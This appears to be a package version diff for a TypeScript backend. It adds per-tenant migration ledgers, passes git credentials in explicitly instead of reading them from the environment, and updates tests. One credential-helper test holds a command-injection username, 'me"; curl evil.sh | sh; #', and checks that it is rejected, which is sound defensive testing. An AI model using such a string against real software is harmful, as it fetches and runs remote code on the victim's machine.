@bevel-software/platform-core-backend 0.20.0 → 0.21.0

package/src/modules/database/migrate.ts

@@ -2,7 +2,7 @@ import { migrate } from 'drizzle-orm/node-postgres/migrator';
 import { logger } from '../../shared/logging.js';
 
 const log = logger('database');
-import type { Database } from './connection.js';
+import { DEFAULT_DB_SCHEMA, dbSchemaOf, type Database } from './connection.js';
 import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
 
 /*
@@ -38,13 +38,40 @@ import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
  * container takes to exit. See `advisory-lock.ts` for the mechanism.
  */
 
+/**
+ * Where a handle's migration ledger lives, and which lock guards its runs.
+ *
+ * The default schema keeps drizzle's own `drizzle` schema for the ledger,
+ * where every existing deployment already has one: naming `public` here
+ * would make the next boot read an empty ledger and re-apply plain DDL that
+ * is already applied. A knowledge base on a schema of its own keeps its
+ * ledger IN that schema, so the schema is the whole of the tenant: what
+ * `pg_dump -n` carries out includes what has been applied to it, and the
+ * dedicated deployment it is restored into resumes from there rather than
+ * from nothing. The lock is keyed the same way, so two tenants of one
+ * database migrate side by side while two processes of one tenant still
+ * take turns.
+ */
+function ledgerOptions(db: Database): { migrationsSchema?: string; tenantKey: string } {
+  const schema = dbSchemaOf(db);
+  return schema === DEFAULT_DB_SCHEMA
+    ? { tenantKey: '' }
+    : { migrationsSchema: schema, tenantKey: schema };
+}
+
 /** Apply the CORE migration history from `folder`, tracked in `__drizzle_migrations_core`. */
 export async function runCoreMigrations(db: Database, folder: string): Promise<void> {
-  await withAdvisoryLock(db, AdvisoryLock.Migrations, async () => {
-    log.info('Running core database migrations...');
-    await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core' });
-    log.info('Core migrations complete.');
-  });
+  const { migrationsSchema, tenantKey } = ledgerOptions(db);
+  await withAdvisoryLock(
+    db,
+    AdvisoryLock.Migrations,
+    async () => {
+      log.info('Running core database migrations...');
+      await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core', migrationsSchema });
+      log.info('Core migrations complete.');
+    },
+    { tenantKey },
+  );
 }
 
 /**
@@ -53,12 +80,19 @@ export async function runCoreMigrations(db: Database, folder: string): Promise<v
  * enterprise tables FK into core tables.
  */
 export async function runEnterpriseMigrations(db: Database, folder: string): Promise<void> {
-  await withAdvisoryLock(db, AdvisoryLock.Migrations, async () => {
-    log.info('Running enterprise database migrations...');
-    await migrate(db, {
-      migrationsFolder: folder,
-      migrationsTable: '__drizzle_migrations_enterprise',
-    });
-    log.info('Enterprise migrations complete.');
-  });
+  const { migrationsSchema, tenantKey } = ledgerOptions(db);
+  await withAdvisoryLock(
+    db,
+    AdvisoryLock.Migrations,
+    async () => {
+      log.info('Running enterprise database migrations...');
+      await migrate(db, {
+        migrationsFolder: folder,
+        migrationsTable: '__drizzle_migrations_enterprise',
+        migrationsSchema,
+      });
+      log.info('Enterprise migrations complete.');
+    },
+    { tenantKey },
+  );
 }

package/src/modules/diff/__tests__/diff.service.seed-atomicity.test.ts

@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
 import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
 import { WorkspaceMutex } from '../../kb-fs/mutex.js';
 import { DiffService } from '../diff.service.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 /**
  * Atomic-seed regression suite.
@@ -55,7 +56,7 @@ async function setup(): Promise<Fixture> {
   const workspaceService = new WorkspaceService(
     workspacesRoot,
     'https://github.com/Bevel-Software/knowledge-base.git',
-    'knowledge-base',
+    testKbContext(),
     new NodeFs(),
   );
   const mutex = new WorkspaceMutex();

package/src/modules/diff/__tests__/diff.service.test.ts

@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
 import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
 import { WorkspaceMutex } from '../../kb-fs/mutex.js';
 import { DiffService } from '../diff.service.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 async function mkTmpRoot(prefix: string): Promise<string> {
   return fs.mkdtemp(path.join(os.tmpdir(), prefix));
@@ -41,7 +42,7 @@ async function setup(): Promise<Fixture> {
   const workspaceService = new WorkspaceService(
     workspacesRoot,
     'https://github.com/Bevel-Software/knowledge-base.git',
-    'knowledge-base',
+    testKbContext(),
     new NodeFs(),
   );
   const mutex = new WorkspaceMutex();

package/src/modules/kb-fs/__tests__/branch-name.test.ts

@@ -1,8 +1,8 @@
 import { describe, it, expect } from 'vitest';
+import { currentBranchModel, isProtectedBranch } from '@bevel-software/platform-shared';
 import {
   assertValidBranchName,
   assertValidRelativePath,
-  isProtectedBranch,
 } from '../branch-name.js';
 import { BranchNameError, WorkflowValidationError } from '../../../shared/domain-errors.js';
 
@@ -75,12 +75,12 @@ describe('assertValidRelativePath', () => {
 
 describe('isProtectedBranch', () => {
   it('protects current-company-state and target-company-state', () => {
-    expect(isProtectedBranch('current-company-state')).toBe(true);
-    expect(isProtectedBranch('target-company-state')).toBe(true);
+    expect(isProtectedBranch(currentBranchModel(), 'current-company-state')).toBe(true);
+    expect(isProtectedBranch(currentBranchModel(), 'target-company-state')).toBe(true);
   });
   it('does not protect user branches', () => {
-    expect(isProtectedBranch('ali-raza/add-owner')).toBe(false);
-    expect(isProtectedBranch('main')).toBe(false);
-    expect(isProtectedBranch('develop')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'ali-raza/add-owner')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'main')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'develop')).toBe(false);
   });
 });

package/src/modules/kb-fs/__tests__/clone-config.test.ts

@@ -1,4 +1,5 @@
-import { describe, it, expect, afterEach } from 'vitest';
+import { describe, it, expect } from 'vitest';
+import { gitCredentials } from '../../../shared/git.contract.js';
 import {
   cloneCredentialArgs,
   cloneCredentialConfigArgs,
@@ -24,56 +25,59 @@ describe('cloneTrackingConfigArgs', () => {
 });
 
 describe('credential config', () => {
-  const ORIGINAL = process.env.GITHUB_TOKEN;
-  afterEach(() => {
-    if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
-    else process.env.GITHUB_TOKEN = ORIGINAL;
-  });
+  const withToken = (username = 'x-access-token') => gitCredentials(username, 'ghp_supersecret');
+  const withoutToken = gitCredentials('x-access-token', null);
 
   it('reads the token from the environment at call time, never inlining its value', () => {
-    process.env.GITHUB_TOKEN = 'ghp_supersecret';
-    const helper = credentialHelperValue('x-access-token');
+    const helper = credentialHelperValue(withToken());
     expect(helper).toContain('password=$GITHUB_TOKEN');
     expect(helper).not.toContain('ghp_supersecret');
   });
 
   it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
-    delete process.env.GITHUB_TOKEN;
-    expect(credentialHelperValue('x-access-token')).toBeNull();
+    expect(credentialHelperValue(withoutToken)).toBeNull();
     // A fresh clone simply carries nothing…
-    expect(cloneCredentialArgs('x-access-token')).toEqual([]);
+    expect(cloneCredentialArgs(withoutToken)).toEqual([]);
     // …but an adopted clone may carry a helper from when a token WAS
     // configured, and that stale helper (answering with an empty password)
     // would shadow whatever auth the operator fell back to — so the repair
     // path removes it. Callers run this tolerantly: unset of a missing key
     // exits non-zero and is the expected no-op.
-    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+    expect(cloneCredentialConfigArgs(withoutToken)).toEqual([
       ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
     ]);
   });
 
+  it('never reads this process\'s environment: a token there is not a token in effect', () => {
+    const previous = process.env.GITHUB_TOKEN;
+    process.env.GITHUB_TOKEN = 'ghp_stale_from_env';
+    try {
+      expect(credentialHelperValue(withoutToken)).toBeNull();
+    } finally {
+      if (previous === undefined) delete process.env.GITHUB_TOKEN;
+      else process.env.GITHUB_TOKEN = previous;
+    }
+  });
+
   it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
     // Pinned exactly: `-c` here instead of `--config` still authenticates the
     // clone but writes nothing into the new repo, which is the bug this guards.
-    expect(cloneCredentialArgs('oauth2')).toEqual([
+    expect(cloneCredentialArgs(withToken('oauth2'))).toEqual([
       '--config',
-      `credential.helper=${credentialHelperValue('oauth2')}`,
+      `credential.helper=${credentialHelperValue(withToken('oauth2'))}`,
     ]);
   });
 
   it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
     // The trailing value-pattern is what keeps an operator's own clone-local
     // helper (store/cache/custom) out of reach of both the replace and the
     // unset — git only touches values matching it.
-    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
-      ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
+    expect(cloneCredentialConfigArgs(withToken())).toEqual([
+      ['config', '--replace-all', 'credential.helper', credentialHelperValue(withToken()), 'password=\\$GITHUB_TOKEN'],
     ]);
   });
 
   it('refuses a username that would break out of the helper snippet', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
-    expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
+    expect(() => credentialHelperValue(withToken('me"; curl evil.sh | sh; #'))).toThrow(/must match/);
   });
 });

package/src/modules/kb-fs/branch-name.ts

@@ -1,8 +1,8 @@
 import { BranchNameError, WorkflowValidationError } from '../../shared/domain-errors.js';
 
-// Single source of truth for the protected-branch list lives in `@bevel-software/platform-shared` so
-// the backend guard and the frontend banner/disabling logic can't drift apart.
-export { PROTECTED_BRANCHES, isProtectedBranch } from '@bevel-software/platform-shared';
+// The protected-branch list is the knowledge base's (`KbContext.protectedBranches`):
+// services ask the context they were built with, so the backend guard and the
+// frontend banner (which reads the same model from `/api/config`) can't drift.
 // Authorship inference lives in `@bevel-software/platform-shared` for the same reason — the
 // picker's `canDelete` rule and the backend authorisation check on
 // `deleteBranch` must agree on every edge case (uppercase email, dotted

package/src/modules/kb-fs/clone-config.ts

@@ -1,3 +1,5 @@
+import { GIT_TOKEN_ENV, type GitCredentials } from '../../shared/git.contract.js';
+
 /**
  * The git configuration a per-branch workspace clone must carry: the tracking
  * config that pins its branch to exactly ONE upstream ref, and the credential
@@ -90,21 +92,22 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
 
 /**
  * The inline credential helper a workspace clone authenticates its remote
- * operations with, or null when the deployment has no git token configured.
+ * operations with, or null when the credentials carry no token.
  *
  * The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
  * enters argv, the clone's `.git/config`, or any error message quoting either.
- * `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
- * `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
- * publishes a token supplied through the setup screen to the same place — so
- * this one name covers every way a token can arrive.
+ * The git runner puts the token there for every call it makes
+ * (`GIT_TOKEN_ENV` in `shared/git.contract.ts`), whichever way it arrived:
+ * the environment at boot, or the setup screen afterwards. Nothing else
+ * reads that variable, and nothing writes it into this process.
  *
  * The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
  * Bitbucket `x-token-auth`); the token is always the Basic-auth password,
  * which every major host accepts.
  */
-export function credentialHelperValue(gitUsername: string): string | null {
-  if (!process.env.GITHUB_TOKEN) return null;
+export function credentialHelperValue(credentials: GitCredentials): string | null {
+  if (!credentials.token()) return null;
+  const gitUsername = credentials.username();
   // Interpolated into a shell snippet that git will execute. `CoreConfig` and
   // `DeploymentSettingsService` both reject a username outside this charset
   // before it can get this far, so reaching the throw means an unvalidated
@@ -119,7 +122,7 @@ export function credentialHelperValue(gitUsername: string): string | null {
   // `password=$GITHUB_TOKEN` stays in the snippet, which is what
   // APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
   // builds still match it and get replaced on the next stamp.
-  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
+  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$${GIT_TOKEN_ENV}"; }; f`;
 }
 
 /**
@@ -135,8 +138,8 @@ export function credentialHelperValue(gitUsername: string): string | null {
  * Empty when no token is configured, matching the un-authenticated clone the
  * rest of the layer already supports.
  */
-export function cloneCredentialArgs(gitUsername: string): string[] {
-  const helper = credentialHelperValue(gitUsername);
+export function cloneCredentialArgs(credentials: GitCredentials): string[] {
+  const helper = credentialHelperValue(credentials);
   return helper ? ['--config', `credential.helper=${helper}`] : [];
 }
 
@@ -165,8 +168,8 @@ export function cloneCredentialArgs(gitUsername: string): string[] {
  */
 const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
 
-export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
-  const helper = credentialHelperValue(gitUsername);
+export function cloneCredentialConfigArgs(credentials: GitCredentials): string[][] {
+  const helper = credentialHelperValue(credentials);
   // `--replace-all key value pattern` replaces every line MATCHING the
   // pattern with the one value (adding it when none match) and leaves
   // non-matching values — operator helpers — untouched. Same scoping on the

package/src/modules/marketplace/__tests__/marketplace-repo.head.test.ts

@@ -1,6 +1,6 @@
 import { describe, it, expect } from 'vitest';
 import { MarketplaceRepoService, type MarketplaceCompiler } from '../marketplace-repo.service.js';
-import { GitRunError, type IGitRunner } from '../../../shared/git.contract.js';
+import { GitRunError, NO_GIT_CREDENTIALS, type IGitRunner } from '../../../shared/git.contract.js';
 
 const SHA = 'a'.repeat(40);
 
@@ -8,6 +8,7 @@ const SHA = 'a'.repeat(40);
 function runnerFailingRevParse(failure: GitRunError): IGitRunner {
   return {
     defaultTimeoutMs: 1_000,
+    credentials: NO_GIT_CREDENTIALS,
     run: (async (_cwd: string, args: string[]) => {
       if (args.includes('rev-parse')) throw failure;
       return { stdout: '', stderr: '' };

package/src/modules/mcp/mcp.service.ts

@@ -93,6 +93,13 @@ export interface McpProxyOptions {
   readAgentPreamble?: AgentPreambleReader;
   /** Bounds of the downstream (`mcp.json`) connection pool; defaults are 4h idle / 5000 entries. */
   downstreamPool?: Pick<DownstreamPoolOptions<unknown>, 'idleTtlMs' | 'maxEntries' | 'now'>;
+  /**
+   * The scope this knowledge base's secrets vault was registered under (see
+   * `secrets-variable-loader.ts`), so the UTCP clients built here resolve a
+   * caller's `${VAR}`s from that vault and no other's. Default: the single
+   * knowledge base's.
+   */
+  secretsScope?: string;
 }
 
 /** Who a request is from — everything the proxy needs, resolved from that request's own bearer. */
@@ -727,7 +734,7 @@ export class McpService {
    */
   private async buildClient(bearer: string, userId: string, manuals: CallTemplate[]): Promise<CodeModeUtcpClient> {
     const variables = seedBevelHostedManualVars(manuals, this.opts.loopbackBaseUrl, bearer);
-    return CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, variables));
+    return CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, variables, this.opts.secretsScope));
   }
 
   /**
@@ -959,7 +966,7 @@ export class McpService {
   private async connectDownstream(userId: string, template: CallTemplate): Promise<PooledDownstream> {
     // Third-party manuals are never seeded loopback credentials (see
     // `buildClient`), so a pooled client carries no request-scoped bearer.
-    const client = await CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, {}));
+    const client = await CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, {}, this.opts.secretsScope));
     // Our own copy: registration renames the template in place, and recovery
     // re-registers from exactly what discovery used.
     const own = structuredClone(template);
@@ -1240,10 +1247,10 @@ function isErrorResult(result: CallToolResult): boolean {
  * request clients and pooled downstream clients, so both resolve a manual's
  * variables through exactly the same tiers.
  */
-function utcpClientConfig(userId: string, variables: Record<string, string>) {
+function utcpClientConfig(userId: string, variables: Record<string, string>, secretsScope?: string) {
   return new UtcpClientConfigSerializer().validateDict({
     variables,
-    load_variables_from: [bevelSecretsLoaderConfig(userId)],
+    load_variables_from: [bevelSecretsLoaderConfig(userId, secretsScope)],
   });
 }
 

package/src/modules/plugins/__tests__/bundle-dialect.e2e.test.ts

@@ -3,7 +3,8 @@ import { NodeFs } from '../../kb-fs/node-fs.js';
 import fs from 'node:fs/promises';
 import os from 'node:os';
 import path from 'node:path';
-import { DEFAULT_BRANCH, DEFAULT_KB_LAYOUT, configureKbLayout } from '@bevel-software/platform-shared';
+import { DEFAULT_BRANCH } from '@bevel-software/platform-shared';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 import type { WorkspaceService } from '../../workspace/workspace.service.js';
 import { AccessControlService } from '../../access/access-control.service.js';
@@ -46,7 +47,8 @@ describe('bundle dialect, end to end', () => {
   };
 
   beforeEach(async () => {
-    configureKbLayout({ knowledgeBaseDir: 'docs', skillsDir: 'skills', pluginsDir: 'plugins' });
+    // The customer's root names, read by every consumer through one context.
+    const kb = testKbContext({ kbDirName: KB_DIR, layout: { knowledgeBaseDir: 'docs', skillsDir: 'skills', pluginsDir: 'plugins' } });
     root = await fs.mkdtemp(path.join(os.tmpdir(), 'bevel-dialect-'));
     repo = path.join(root, wsId, KB_DIR);
     const workspaceService = {
@@ -94,17 +96,16 @@ describe('bundle dialect, end to end', () => {
     );
 
     const disk = new NodeFs();
-    const source = new KbPluginSource(disk);
-    access = new AccessControlService(workspaceService, KB_DIR, disk);
-    skills = new SkillService(workspaceService, access, KB_DIR, disk);
-    tools = new ToolManualService(workspaceService, access, KB_DIR, disk, source);
-    links = new PluginLinkIndex(workspaceService, skills, access, KB_DIR, source);
-    index = new PluginIndexService(workspaceService, access, skills, tools, KB_DIR, source, Date.now, links);
-    compiler = new MarketplaceCompilerService(workspaceService, access, skills, links, KB_DIR, { name: 'acme', owner: 'Acme' }, source, disk, new NodeGitRunner());
-    linkService = new PluginLinksService(workspaceService, { runPendingCommit: async () => undefined }, access, skills, links, KB_DIR);
+    const source = new KbPluginSource(disk, kb);
+    access = new AccessControlService(workspaceService, KB_DIR, disk, [], new NodeGitRunner(), kb);
+    skills = new SkillService(workspaceService, access, kb, disk);
+    tools = new ToolManualService(workspaceService, access, kb, disk, source);
+    links = new PluginLinkIndex(workspaceService, skills, access, kb, source);
+    index = new PluginIndexService(workspaceService, access, skills, tools, kb, source, Date.now, links);
+    compiler = new MarketplaceCompilerService(workspaceService, access, skills, links, kb, { name: 'acme', owner: 'Acme' }, source, disk, new NodeGitRunner());
+    linkService = new PluginLinksService(workspaceService, { runPendingCommit: async () => undefined }, access, skills, links, kb);
   });
   afterEach(async () => {
-    configureKbLayout({ ...DEFAULT_KB_LAYOUT });
     await fs.rm(root, { recursive: true, force: true });
   });
 

package/src/modules/plugins/__tests__/bundle-dialect.test.ts

@@ -1,4 +1,5 @@
 import { describe, it, expect } from 'vitest';
+import { DEFAULT_KB_LAYOUT } from '@bevel-software/platform-shared';
 import fs from 'node:fs/promises';
 import os from 'node:os';
 import path from 'node:path';
@@ -147,7 +148,7 @@ describe('bundle: what it says about itself survives', () => {
         }),
       );
       const warnings: string[] = [];
-      const plugin = await readBundlePlugin(dir, 'plugins/ado', 'ado', null, warnings, []);
+      const plugin = await readBundlePlugin(dir, 'plugins/ado', 'ado', null, warnings, [], DEFAULT_KB_LAYOUT);
       expect(plugin?.manifest).toEqual({
         name: 'ado',
         version: '1.3.5',

package/src/modules/plugins/__tests__/compile-marketplace.test.ts

@@ -16,6 +16,7 @@ import { NodeGitRunner } from '../../workflow/git/node-git-runner.js';
 import express from 'express';
 import { ToolRegistry } from '../../tool-registry/tool-registry.js';
 import { registerSkillsTools } from '../../skills/skills.tools.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 /**
  * Source in, distribution out — for one caller. The real resolver decides
@@ -90,17 +91,18 @@ describe('compileMarketplace', () => {
     await write('Skills/Sales/pitch/SKILL.md', '---\ndescription: Pitch.\n---\n');
 
     const disk = new NodeFs();
-    const source = new KbPluginSource(disk);
+    const kb = testKbContext({ kbDirName: KB_DIR });
+    const source = new KbPluginSource(disk, kb);
     const access = new AccessControlService(workspaceService, KB_DIR, disk);
-    const skills = new SkillService(workspaceService, access, KB_DIR, disk);
+    const skills = new SkillService(workspaceService, access, kb, disk);
     catalog = skills;
-    const links = new PluginLinkIndex(workspaceService, skills, access, KB_DIR, source);
+    const links = new PluginLinkIndex(workspaceService, skills, access, kb, source);
     compiler = new MarketplaceCompilerService(
       workspaceService,
       access,
       skills,
       links,
-      KB_DIR,
+      kb,
       {
         name: 'acme-hexis',
         owner: 'Acme',

package/src/modules/plugins/__tests__/join-request-jobs.service.test.ts

@@ -8,6 +8,7 @@ import {
 } from '../join-request-jobs.service.js';
 import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
 import { FakeJoinRequestStore } from './fake-join-request-store.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 /**
  * The git half of a join request, on its own: what it does to the row it was
@@ -40,7 +41,7 @@ function harness(over: Partial<JoinRequestJobsDeps> = {}, sharedStore?: FakeJoin
   const jobs = new PluginJoinRequestJobs(store, {
     workflow: workflow as never,
     workspaceService: workspaceService as never,
-    kbDirName: KB,
+    kb: testKbContext({ kbDirName: KB }),
     target: async () => ({ folder: 'Plugins/Finance', displayName: 'Finance' }),
     requester: async (mail) => ({ ...ALI_USER, email: mail }),
     ...over,

package/src/modules/plugins/__tests__/join-requests.service.test.ts

@@ -9,6 +9,7 @@ import {
 import { type WorkspaceService } from '../../workspace/workspace.service.js';
 import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
 import { JoinRequestsService } from '../join-requests.service.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 /**
  * The derived lifecycle: a join request is open exactly while its branch's
@@ -54,7 +55,7 @@ function makeHarness(byRef: Record<string, string>) {
     rejectChangeRequest: vi.fn(async () => ({ number: 7, state: 'closed' })),
     deleteBranch: vi.fn(async () => undefined),
   } as unknown as IWorkflowService;
-  return { svc: new JoinRequestsService(workspaceService, workflow), workflow, workspaceService };
+  return { svc: new JoinRequestsService(workspaceService, workflow, testKbContext()), workflow, workspaceService };
 }
 
 const refs = (branchMd: string | undefined, defaultMd = DEFAULT_MD) => ({

package/src/modules/plugins/__tests__/plugin-creation-display-name.test.ts

@@ -12,6 +12,7 @@ import { KbPluginSource } from '../discovery/kb-plugin-source.js';
 import { PluginProvisionService } from '../plugin-provision.service.js';
 import { createPluginCreationRoutes } from '../plugins.routes.js';
 import { CREATE_PLUGIN } from '../plugins.tools.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 /**
  * Both doors into plugin creation, through the code each one really runs.
@@ -72,9 +73,9 @@ async function makeHarness(): Promise<Harness> {
     workspaceService,
     { runPendingCommit: vi.fn(async () => undefined) },
     { invalidate: vi.fn() } as unknown as IAccessControl,
-    KB,
+    testKbContext({ kbDirName: KB }),
     undefined,
-    new KbPluginSource(new NodeFs()),
+    new KbPluginSource(new NodeFs(), testKbContext({ kbDirName: KB })),
     new NodeFs(),
   );
 
@@ -185,7 +186,7 @@ describe('creation derives and stores the display name the same way through ever
     await h.byTool('design');
     // `access.md` is what makes a folder exist to discovery; provisioning
     // wrote it, so the catalog sees both plugins.
-    const { plugins } = await new KbPluginSource(new NodeFs()).discover(path.join(h.dir, KB));
+    const { plugins } = await new KbPluginSource(new NodeFs(), testKbContext({ kbDirName: KB })).discover(path.join(h.dir, KB));
     // Walk order, which is the folders' — `design` before `Sales Team`.
     expect(plugins.map((p) => [p.name, p.displayName])).toEqual([
       ['design', 'design'],

package/src/modules/plugins/__tests__/plugin-index.service.test.ts

@@ -12,9 +12,11 @@ import type { WorkspaceService } from '../../workspace/workspace.service.js';
 import type { IAccessControl } from '../../access/access-control.interface.js';
 import type { ISkillService, SkillSummary } from '../../skills/skills.contract.js';
 import type { IToolManualService, ToolManualSummary } from '../../tool-manuals/tool-manuals.contract.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 const KB_DIR = 'knowledge-base';
 const wsId = workspaceIdForBranch(DEFAULT_BRANCH);
+const kbContext = testKbContext({ kbDirName: KB_DIR });
 
 const OLGA = { name: 'Olga Ivanova', email: 'olga@bevel.software' };
 
@@ -70,8 +72,8 @@ describe('PluginIndexService', () => {
       opts.access ?? principals,
       skillService(opts.skills),
       toolService(opts.tools),
-      KB_DIR,
-      new KbPluginSource(new NodeFs()),
+      kbContext,
+      new KbPluginSource(new NodeFs(), kbContext),
       Date.now,
       opts.links,
     );
@@ -261,8 +263,8 @@ describe('PluginIndexService', () => {
       principals,
       skillService(skills('Skills/Eng/deploy', 'Skills/Eng/rollback', 'Plugins/Product/roadmap')),
       toolService(),
-      KB_DIR,
-      new KbPluginSource(new NodeFs()),
+      kbContext,
+      new KbPluginSource(new NodeFs(), kbContext),
       Date.now,
       links,
     ).catalog();